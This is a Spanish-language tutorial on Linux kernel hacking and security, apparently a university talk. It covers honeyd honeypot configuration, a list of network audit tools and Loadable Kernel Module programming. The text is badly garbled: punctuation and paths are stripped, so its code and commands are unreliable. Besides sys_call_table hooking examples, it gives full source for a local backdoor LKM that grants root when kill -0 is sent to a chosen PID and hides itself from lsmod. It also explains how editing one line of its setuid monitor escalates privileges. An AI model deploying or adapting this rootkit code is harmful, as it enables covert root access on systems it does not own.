Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
NOTA
El presente documento ha sido realizado por el autor de forma iacutentegra no obstante alguna informacioacuten de la que aparece ha sido utilizada por el autor del documento en otras ocasiones (aunque no en la misma forma ni en la totalidad del contenido) para otros trabajos personales publicados en la red u otros medios de comunicacioacuten con anterioridad Dichos documentos pueden estar regidos o no por la misma licencia del presente documento Las fuentes externas (incluyendo algunas figuras usadas) cuyo origen sea ajeno seraacuten citadas de forma expliacutecita yo deberiacutea aparecer al final del presente documento
Para la realizacioacuten de algunos diagramas se usoacute la herramienta ldquoDIArdquo y para escribir el documento se usoacute ldquoOpenOfficerdquo no obstante es posible distribuir el documento en cualquier otro formato siempre y cuando se respete su licencia y su contenido El trabajo no estaacute exento de errores e imperfecciones cualquier criacutetica constructiva (a modo de ldquofeedbackrdquo) seraacute bien recibida Existe una presentacioacuten (ldquodiapositivasrdquo) adjunta al documento que amplia (ligeramente) y sintetiza ciertos aspectos del documento y que lo complementa Estaacute disponible de igual forma en la red de Internet y se usoacute para la exposicioacuten (de una charla) presentando el trabajo en una Universidad
Kernel hacks y seguridad JMP
Introduccioacuten
En 1991 alguien llamado Linus B Torvalds se compra un PC (386) para intentar comprender de forma exhaustiva su funcionamiento Como es de imaginar el sistema M$ DOS cutre de la eacutepoca no aprovechaba el procesador 386 (ni siquiera usaba el modo protegido) asiacute que Linus cogioacute otro sistema llamado Minix con A Tanembaum como principal desarrollador y empezoacute a implementar y reprogramar funcionalidades hasta el puno en el que en 1991 ya disponiacuteamos de la versioacuten de Linux (contraccioacuten Linus + Unix) 001 que estaba muy lejos de ser lo que es hoy este potente sistema operativo
La primera versioacuten oficial (la 002) data del 5 de Octubre de 1991 y ya permitiacutea ejecutar ciertos programas GNU como bash Gracias a Internet y el esfuerzo de la comunidad sobre Marzo de 1994 estaba disponible la primera versioacuten estable 10 de nuestro querido sistema operativo de forma totalmente independiente y libre -)
En este trabajo voy a tratar ciertos aspectos sobre la seguridad del nuacutecleo tanto en versiones recientes 26 como en las no tan recientes series 22 y 24 con el objetivo de ver como podemos protegernos ante ataques que se realizan a nivel del Kernel en forma de rootkit y especialmente como funcionan este tipo de programas para comprometer la seguridad
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Para poder trabajar correctamente y seguir las explicaciones que se dan en el presente documento seraacute necesario tener en consideracioacuten una serie de requisitos previos
Para poder trabajar con un Kernel de Linux necesitamos algo fundamental esto es un Kernel -) concretamente necesitamos los sources de las series 24 y 26 para ir bien Resulta de intereacutes tener dos SO corriendo usaremos Qemu o VMWare
Necesitaremos a ser posible un depurador como GDB o cualquier otro que corra bajo Linux
Compilador GCC en una versioacuten reciente
Tener soporte para Loadable Kernel Moacutedules habilitado en el nuacutecleo actual
Un editor para el coacutedigo fuente y todas aquellas herramientas auxiliares y de sistema requeridas o que supongan una comodidad para el usuario
Nociones elevadas de C y programacioacuten a bajo nivel son altamente recomendables
11- Obtener e instalar el coacutedigo fuente del nuacutecleo
El coacutedigo fuente del nuacutecleo se puede obtener de los CDs de instalacioacuten de nuestra distribucioacuten o bien a traveacutes de Internet en la URL
httpwwwkernelorg
Una vez descomprimido el contenido del ldquotarballrdquo en usrsrc procedemos a crear un enlace simboacutelico en el mismo directorio apuntando a las fuentes del nuacutecleo que vayamos a compilar y que posteriormente tras su compilacioacuten e instalacioacuten seraacute ejecutado al reiniciar la maacutequina
ln ndashs usrsrclinux-$(uname ndashr) linux
Teniendo eso en cuenta
root cd usrsrc
1 Descargamos el coacutedigo fuente del Kernel en usrsrc 2 Descomprimimos el contenido seguacuten convenga tar jxvf linux-2xx 3 Compilamos el nuacutecleo con las opciones adecuadas
cd usrsrclinux make menuconfig make ampamp make modules_install cp archi386bootbzImage bootkernel-2xx
editamos nuestro gestor de arranque como sea necesario (reiniciamos la maacutequina)
Kernel hacks y seguridad JMP
2- Conceptos baacutesicos
Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio que contiene las fuentes del nuacutecleo ls usrsrclinux y observar que el coacutedigo sigue una organizacioacuten muy concreta donde por ejemplo fs contiene los sistemas de archivos init es el main() de Linux kernel contiene las principales llamadas al sistema lib diversos moacutedulos y arch el coacutedigo dependiente de la arquitectura son algunos de los directorios que aparecen
Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables especialmente lo referente a punteros y punteros a funciones Por ese motivo y a continuacioacuten se presenta el primer listado que pretende refrescar estos puntos
1 includeltstdiohgt 2 define A 34 3 define B 40 4 puntero a una func 5 int (ptr_f) (int int) 6 func sumar dos enteros 7 int 8 f_test (int a int b) 9 return (a + b) 10 11 int 12 main (void) 13 14 int suma = 0 15 int suma_ptr = NULL 16 printf (f_test() reside en0xxn f_test) 17 printf (ptr_f apunta a0xxn ptr_f) 18 apuntamos a f_test(intint) 19 ptr_f = f_test 20 printf (ptr_f apunta a f_test()) 21 printf (ptr_f() se ejecutan) 22 call ptr_f -gt f_test 23 suma = (ptr_f) (A B) 24 suma_ptr -gt suma 25 suma_ptr = ampsuma 26 printf (la variable suma se encuentra en (0xx)n ampsuma) 27 contenido de suma_ptr 28 printf (contiene el valordn suma_ptr) 29 return 0 30
El coacutedigo es bastante simple dados dos nuacutemeros los suma mostrando cierta informacioacuten al respecto Las partes interesantes ahiacute son las liacuteneas 5 19 25 y 23 $gcc listadoc -o listado $listado
f_test() reside en0x80483cc ptr_f apunta a0x0 ptr_f apunta a f_test()ptr_f() se ejecuta la variable suma se encuentra en (0xbfde8170) contiene el valor74
Kernel hacks y seguridad JMP
Kerneland y Userland
Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland
Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes
Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo
Archivos de cabecera
Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo
Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura
Llamadas al sistema
En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal
Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario
Kernel hacks y seguridad JMP
3- Loadable Kernel Modules
Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente
Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute
Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod
Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)
Kernel hacks y seguridad JMP
31- Compilacioacuten de LKMs para la serie 24x
Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel
root gcc -c listado2c -I usrsrclinuxinclude
lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado
root insmod listado2o parm_entero=5
podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt
Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute
Explicacioacuten
En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso
Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel
Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog
Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages
Kernel hacks y seguridad JMP
4- Sys_call_table[] en kernels 22 y 24
Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo
extern void sys_call_table[]
Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)
Listado 3
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)
Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento
El funcionmiento se explica a continuacioacuten
Kernel hacks y seguridad JMP
Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado
iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt
$cat usrsrclinuxincludelinuxasmunistdh|less
Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh
Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt
Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo
Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod
La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt
sigue listado 4
Kernel hacks y seguridad JMP
continuando listado 4
8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())
Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten
Kernel hacks y seguridad JMP
5- Protegiendo el UID 0
Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema
Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i
[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
